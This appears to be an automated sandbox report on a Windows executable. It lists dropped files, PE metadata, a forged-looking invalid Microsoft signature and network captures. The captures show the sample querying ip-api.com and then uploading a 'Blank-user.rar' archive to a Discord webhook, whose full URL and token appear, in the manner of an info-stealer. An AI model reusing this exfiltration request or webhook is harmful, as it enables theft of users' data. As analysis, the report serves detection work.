Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tyticb24.yeg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tzcmyddr.ugx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uj1dnrps.oxu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ulunyjmi.jsu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.991974525763679
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	9g9LZNE4bH.exe
File size:	7'186'035 bytes
MD5:	03bb5937fb7b74837da488b2278d0811
SHA1:	51259fa1bf7608d3c394c2f7776f581d5251aa01
SHA256:	fc11fee1405cd9e4b30f6ee243396f62bcd1b1dd8117c00a7008a7e3daa6cc29
SHA512:	8f9a20db244661771745d353ae3669c8fa7be60ab3a68e4075de0500513b591b30ecf44e340fddcf92a09814fa4e796329dc6a49f4b309f0979c8fe73ed2e097
SSDEEP:	196608:OQV1vLB6ylnlPzf+JiJCsmFMvQn6hqgdhY:TLBRlnlPSa7mmvQpgdhY
TLSH:	E97633A5637409F6F9BAE33CC916D952B771F13943B0DA970390822A2F236D15E7BB01
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d..

File Icon


Icon Hash:	17213117aa131369

Static PE Info

General

Entrypoint:	0x14000ce20
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6778B497 [Sat Jan 4 04:09:59 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	16/11/2023 20:20:09 14/11/2024 20:20:09
Subject Chain	CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	9B7554FFA2D97FE692CB10D7B2E315A7
Thumbprint SHA-1:	D8FB0CC66A08061B42D46D03546F0D42CBC49B7C
Thumbprint SHA-256:	2D7FFCE2C256016291B67285456AA8DA779D711BBF8E6B85C212A157DDFBE77E
Serial:	3300000460CF42A912315F6FB3000000000460

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F9B98E2EFFCh
dec eax
add esp, 28h
jmp 00007F9B98E2EC1Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F9B98E2F3C8h
test eax, eax
je 00007F9B98E2EDC3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F9B98E2EDA7h
dec eax
cmp ecx, eax
je 00007F9B98E2EDB6h
xor eax, eax
dec eax
cmpxchg dword ptr [0003570Ch], ecx
jne 00007F9B98E2ED90h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F9B98E2ED99h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F9B98E2EDA9h
mov byte ptr [000356F5h], 00000001h
call 00007F9B98E2E4F5h
call 00007F9B98E2F7E0h
test al, al
jne 00007F9B98E2EDA6h
xor al, al
jmp 00007F9B98E2EDB6h
call 00007F9B98E3C2FFh
test al, al
jne 00007F9B98E2EDABh
xor ecx, ecx
call 00007F9B98E2F7F0h
jmp 00007F9B98E2ED8Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000356BCh], 00000000h
mov ebx, ecx
jne 00007F9B98E2EE09h
cmp ecx, 01h
jnbe 00007F9B98E2EE0Ch
call 00007F9B98E2F33Eh
test eax, eax
je 00007F9B98E2EDCAh
test ebx, ebx
jne 00007F9B98E2EDC6h
dec eax
lea ecx, dword ptr [000356A6h]
call 00007F9B98E3C0F2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca34	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x239c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2238	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x6d8103	0x2570
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f70	0x2a000	b8c3814c5fb0b18492ad4ec2ffe0830a	False	0.5518740699404762	data	6.489205819736506	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a28	0x12c00	992bf2e70a36080901843ccdb74df699	False	0.5243229166666666	data	5.750783562792207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2238	0x2400	9cd1eac931545f28ab09329f8bfce843	False	0.4697265625	data	5.2645170849678795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x239c	0x2400	d43da4c906ba0cc2fc5a4cbc40329f68	False	0.7578125	data	7.339187853433314	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4a000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x47220	0x11b	PNG image data, 16 x 15, 8-bit colormap, non-interlaced	1.03886925795053
RT_ICON	0x4733c	0x16e	PNG image data, 24 x 23, 8-bit colormap, non-interlaced	1.030054644808743
RT_ICON	0x474ac	0x1d9	PNG image data, 32 x 30, 8-bit colormap, non-interlaced	1.0232558139534884
RT_ICON	0x47688	0x2e1	PNG image data, 48 x 45, 8-bit colormap, non-interlaced	1.0149253731343284
RT_ICON	0x4796c	0x451	PNG image data, 64 x 60, 8-bit colormap, non-interlaced	1.0099547511312217
RT_ICON	0x47dc0	0xce1	PNG image data, 128 x 120, 8-bit colormap, non-interlaced	1.0033363663936912
RT_GROUP_ICON	0x48aa4	0x5a	data	0.7777777777777778
RT_VERSION	0x48b00	0x38c	PGP symmetric key encrypted data - Plaintext or unencrypted data	0.45704845814977973
RT_MANIFEST	0x48e8c	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 09:42:34.171122074 CET	49816	80	192.168.2.5	208.95.112.1
Jan 4, 2025 09:42:34.175950050 CET	80	49816	208.95.112.1	192.168.2.5
Jan 4, 2025 09:42:34.176048040 CET	49816	80	192.168.2.5	208.95.112.1
Jan 4, 2025 09:42:34.176166058 CET	49816	80	192.168.2.5	208.95.112.1
Jan 4, 2025 09:42:34.180941105 CET	80	49816	208.95.112.1	192.168.2.5
Jan 4, 2025 09:42:34.758825064 CET	80	49816	208.95.112.1	192.168.2.5
Jan 4, 2025 09:42:34.799671888 CET	49816	80	192.168.2.5	208.95.112.1
Jan 4, 2025 09:42:35.015697002 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.015747070 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.015815973 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.034303904 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.034321070 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.492398977 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.493822098 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.493843079 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.495281935 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.495356083 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.496556044 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.496624947 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497042894 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497051954 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497114897 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497136116 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497277021 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497306108 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497428894 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497447968 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497555017 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497574091 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497592926 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497603893 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497664928 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497673988 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497695923 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497704029 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497718096 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497725964 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497745037 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497751951 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497776031 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497783899 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497793913 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497802973 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.497808933 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497822046 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497843981 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497879028 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497893095 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497912884 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497937918 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497937918 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497958899 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497972012 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.497999907 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.507289886 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.509293079 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.509321928 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.509346962 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.509394884 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.509429932 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.509429932 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.510206938 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.510255098 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.511823893 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.512047052 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.512079954 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:35.512111902 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.512139082 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.512164116 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.512181997 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.512207985 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.512221098 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.512240887 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:35.513060093 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:36.148323059 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:36.148387909 CET	443	49822	162.159.137.232	192.168.2.5
Jan 4, 2025 09:42:36.148468971 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:36.149060011 CET	49822	443	192.168.2.5	162.159.137.232
Jan 4, 2025 09:42:36.361680984 CET	49816	80	192.168.2.5	208.95.112.1
Jan 4, 2025 09:42:36.366792917 CET	80	49816	208.95.112.1	192.168.2.5
Jan 4, 2025 09:42:36.369129896 CET	49816	80	192.168.2.5	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 09:42:34.163508892 CET	53330	53	192.168.2.5	1.1.1.1
Jan 4, 2025 09:42:34.170417070 CET	53	53330	1.1.1.1	192.168.2.5
Jan 4, 2025 09:42:35.007340908 CET	64648	53	192.168.2.5	1.1.1.1
Jan 4, 2025 09:42:35.014811039 CET	53	64648	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 4, 2025 09:42:34.163508892 CET	192.168.2.5	1.1.1.1	0xbb9e	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 4, 2025 09:42:35.007340908 CET	192.168.2.5	1.1.1.1	0x82e6	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 4, 2025 09:42:34.170417070 CET	1.1.1.1	192.168.2.5	0xbb9e	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 4, 2025 09:42:35.014811039 CET	1.1.1.1	192.168.2.5	0x82e6	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Jan 4, 2025 09:42:35.014811039 CET	1.1.1.1	192.168.2.5	0x82e6	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Jan 4, 2025 09:42:35.014811039 CET	1.1.1.1	192.168.2.5	0x82e6	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Jan 4, 2025 09:42:35.014811039 CET	1.1.1.1	192.168.2.5	0x82e6	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Jan 4, 2025 09:42:35.014811039 CET	1.1.1.1	192.168.2.5	0x82e6	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49816	208.95.112.1	80	5860	C:\Users\user\Desktop\9g9LZNE4bH.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 09:42:34.176166058 CET	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.3.0
Jan 4, 2025 09:42:34.758825064 CET	381	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 08:42:33 GMT Content-Type: application/json; charset=utf-8 Content-Length: 204 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"static-cpe-8-46-123-189.centurylink.com","mobile":false,"proxy":false,"query":"8.46.123.189"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49822	162.159.137.232	443	5860	C:\Users\user\Desktop\9g9LZNE4bH.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-04 08:42:35 UTC	302	OUT	POST /api/webhooks/1324952562377691148/tMn5PGZkUcHw6GRus7vQh5nn9lZzv19crpx5XMfJnhrwGYXnAAQrWNBsuZgspVDvCX9c HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 758909 User-Agent: python-urllib3/2.3.0 Content-Type: multipart/form-data; boundary=5bfc7a42494d43b6e137242c97784aaf
2025-01-04 08:42:35 UTC	16384	OUT	Data Raw: 2d 2d 35 62 66 63 37 61 34 32 34 39 34 64 34 33 62 36 65 31 33 37 32 34 32 63 39 37 37 38 34 61 61 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 61 6c 66 6f 6e 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 20 ff c9 60 21 04 00 00 01 0f 4b ec 9f 7d 7e 44 0d df f9 39 0f f8 ea 9e 84 7f 8c a6 9d 73 65 18 d5 9d 72 03 9e db 0a 3e 1e 43 68 e0 7e 73 3a a5 1d 78 47 6c 44 1e 72 e6 a2 a8 1c 3b b0 2e 95 b9 22 3b 5b 0d 80 e8 7b 62 fc 3b 7c af 23 62 25 70 2f db 61 51 1b c6 f2 1d 68 64 1c 10 94 e8 d0 Data Ascii: --5bfc7a42494d43b6e137242c97784aafContent-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar! `!K}~D9ser>Ch~s:xGlDr;.";[{b;\|#b%p/aQhd
